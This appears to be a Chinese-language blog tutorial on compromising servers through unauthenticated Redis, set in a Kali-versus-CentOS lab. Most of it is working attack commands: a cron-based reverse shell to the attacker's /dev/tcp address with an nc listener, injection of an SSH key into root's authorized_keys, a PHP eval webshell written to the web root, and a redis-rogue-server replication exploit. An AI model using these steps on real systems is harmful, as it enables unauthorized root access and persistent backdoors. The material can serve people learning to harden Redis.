黑客是如何通过开放的Redis服务入侵服务器的
0x00 简要说明
百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可导致攻击者直接获取到服务器的权限。
- 利用条件:redis以root身份运行,未授权访问,弱口令或者口令泄露等
环境准备:
测试环境 | IP |
---|---|
Kali | 192.168.100.99 |
靶机(CentOS 7) | 192.168.100.101 |
0x01 CentOS 7安装Redis
# 安装gcc
[root@localhost ~]# yum install -y gcc
# 下载解压redis安装包
[root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
[root@localhost ~]# tar xvf redis-5.0.0.tar.gz
# 编译并执行安装,指定安装目录为/usr/local/redis
[root@localhost ~]# cd redis-5.0.0/
[root@localhost redis-5.0.0]# make && make install PREFIX=/usr/local/redis
# 启动redis服务并保持后台运行
[root@localhost redis-5.0.0]# cd /usr/local/redis/bin/
[root@localhost bin]# ./redis-server &
# 关闭保护模式
[root@localhost bin]# ./redis-cli
127.0.0.1:6379> config set protected-mode no
0x02 通过计划任务反弹shell
利用条件:
- redis以root身份运行
- 未授权访问或授权口令已知
在kali中通过redis-cli -h 192.168.100.101 -p 6379
连接到redis,输入以下指令利用crontab反弹shell
# cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令
# 每分钟执行一次echo "haha":* * * * * echo "haha"
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"
# 设置目录为/var/spool/cron/
192.168.100.101:6379> config set dir /var/spool/cron/
# 设置文件名为root
192.168.100.101:6379> config set dbfilename root
# 保存快照到本地
192.168.100.101:6379> save
kali中打开一个新的命令行窗口执行nc -lvnp 4444
进行监听,过一会儿就能接收到反弹回来的shell:
由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1\n"
192.168.100.101:6379> save
[root@localhost ~]# cat /var/spool/cron/root
* �bash -i &> /dev/tcp/192.168.100@/4 0>&1
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"
192.168.100.101:6379> save
[root@localhost ~]# cat /var/spool/cron/root
* * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1
当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:
config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied
0x03 通过写入SSH公钥远程连接
利用条件:
- redis以root身份运行
- 未授权访问或授权口令已知
- 服务器开放SSH服务且允许密钥登录
在kali中使用ssh-keygen -t rsa
生成密钥:
将生成的公钥文件保存到本地:
┌──(rootkali)-[/home/kali]
└─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali
将文件写入redis进行利用:
# 将上一步生成的kali文件写入redis并设置键的值为kali
┌──(rootkali)-[/home/kali]
└─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali
# 连接redis,并将公钥文件写入/root/.ssh/authorized_keys中
┌──(rootkali)-[/home/kali]
└─# redis-cli -h 192.168.100.101 -p 6379
192.168.100.101:6379> config set dir /root/.ssh/
192.168.100.101:6379> config set dbfilename authorized_keys
192.168.100.101:6379> save
┌──(rootkali)-[/home/kali]
└─# ssh -i /root/.ssh/id_rsa root@192.168.100.101
0x04 通过写入文件获取webshell
利用条件:
- 未授权访问或授权口令已知
- 服务器开着WEB服务且WEB目录路径已知
倘若服务器运行着LAMP/LNMP服务,且已知工作目录为/var/www/html/
,可通过以下指令写入webshell,或参考写入SSH公钥的过程写入木马文件:
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save
0x05 通过主从复制获取shell
利用条件:
- 未授权访问或授权口令已知
- Redis <=5.0.5
参考地址:https://github.com/n0b0dyCN/redis-rogue-server
使用方法:
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
参数说明:
- --rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
- --rhost 目标redis服务IP
- --rport 目标redis服务端口,默认为6379
- --lhost vps的IP地址
- --lport vps的端口,默认为21000
┌──(rootkali)-[/home/kali]
└─# git clone https://github.com/n0b0dyCN/redis-rogue-server.git
┌──(rootkali)-[/home/kali]
└─# cd redis-rogue-server
┌──(rootkali)-[/home/kali]
└─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99
黑客是如何通过开放的Redis服务入侵服务器的的更多相关文章
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
- 【Azure Redis 缓存】Azure Cache for Redis服务中,除开放端口6379,6380外,对13000,13001,15000,15001 为什么也是开放的呢?
问题描述 在使用安全检测工具对Azure Redis服务端口进行扫描时,发现Redis对外开放了13001, 13000,15000,15001端口.非常不理解的是,在门户上只开放了6379,6380 ...
- Codis——分布式Redis服务的解决方案
Codis——分布式Redis服务的解决方案 之前介绍过的 Twemproxy 是一种Redis代理,但它不支持集群的动态伸缩,而codis则支持动态的增减Redis节点:另外,官方的redis 3. ...
- Window环境下配置Redis服务的方法及查看缓存数据的工具介绍
工具下载位置:http://pan.baidu.com/s/1hqVh1f2,包括服务端配置以及查看缓存的工具. 服务端是以服务的形式运行,将Redis服务端解压到某个目录,然后执行cmd执行命令: ...
- Redis进阶实践之六Redis Desktop Manager连接Windows和Linux系统上的Redis服务
一.引言 今天本来没有打算写这篇文章,当初我感觉使用这个工具应该很简单,下载的过程也不复杂,也没有打算记录下来.但是在使用的过程中还是出现了一些问题,为了给第一次使用Redis Desktop Man ...
- Redis进阶实践之六Redis Desktop Manager连接Windows和Linux系统上的Redis服务(转载6)
Redis进阶实践之六Redis Desktop Manager连接Windows和Linux系统上的Redis服务 一.引言 今天本来没有打算写这篇文章,但是,今天测试Redis的时候发现了两个问题 ...
- 阿里云服务器ecs配置之安装redis服务
一.介绍 Redis是当前比较热门的NOSQL系统之一,它是一个key-value存储系统.和Memcache类似,但很大程度补偿了Memcache的不足,它支持存储的value类型相对更多,包括st ...
- centos7安装php7.3的redis扩展(不是redis服务!)
PHP其他扩展加装扩展也是一样的步骤~ PHP官网下载redis扩展: http://pecl.php.net/package/redis 稳定版吧: [root@wf ~]# wget http:/ ...
- 本地Redis服务配置
本地Redis服务配置 要求:在虚拟机中启动redis服务,并要在windows物理机上取得链接 虚拟机安装略,(结果如下) windows工作机上装了Oracle VM VirtualBox,并在其 ...
随机推荐
- 【LeetCode】702. Search in a Sorted Array of Unknown Size 解题报告 (C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 遍历 二分查找 日期 题目地址:https://lee ...
- 【九度OJ】题目1185:特殊排序 解题报告
[九度OJ]题目1185:特殊排序 解题报告 标签(空格分隔): 九度OJ [LeetCode] http://ac.jobdu.com/problem.php?pid=1185 题目描述: 输入一系 ...
- 【LeetCode】441. Arranging Coins 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 模拟计算 二分查找 数学公式 日期 题目地址:htt ...
- 【LeetCode】873. Length of Longest Fibonacci Subsequence 解题报告(Python)
[LeetCode]873. Length of Longest Fibonacci Subsequence 解题报告(Python) 标签(空格分隔): LeetCode 作者: 负雪明烛 id: ...
- Docker&K8S学习笔记(一)—— Docker安装
最近一年在工作上经常使用Docker与K8S,除了利用其打镜像,部署服务外,还基于Docker与K8S开发了一套CICD流水线平台,为了加深相关知识点的理解,所以从今天开始会定期更新学习笔记,本套学习 ...
- Python调用Prometheus监控数据并计算
Prometheus是什么 Prometheus是一套开源监控系统和告警为一体,由go语言(golang)开发,是监控+报警+时间序列数 据库的组合.适合监控docker容器.因为kubernetes ...
- Java实习生常规技术面试题每日十题Java基础(六)
目录 1.在Java语言,怎么理解goto. 2.请描述一下Java 5有哪些新特性? 3.Java 6新特性有哪些. 4.Java 7 新特性有哪些. 5.Java 8 新特性有哪些. 6.描述Ja ...
- 在 jQuery 中使用滑入滑出动画效果,实现二级下拉导航菜单的显示与隐藏效果
查看本章节 查看作业目录 需求说明: 在 jQuery 中使用滑入滑出动画效果,实现二级下拉导航菜单的显示与隐藏效果 用户将光标移动到"最新动态页"或"帮助查询" ...
- Android 悬浮窗
悬浮窗是一种比较常见的需求.例如把视频通话界面缩小成一个悬浮窗,然后用户可以在其他界面上处理事情. 本文给出一个简单的悬浮窗实现.可缩小activity和还原大小.可悬浮在其他activity上.使用 ...
- .NET 云原生架构师训练营(设计原则&&设计模式)--学习笔记
目录 设计原则 设计模式 设计原则 DRY (Don't repeat yourself 不要重复) KISS (Keep it stupid simple 简单到傻子都能看懂) YAGNI (You ...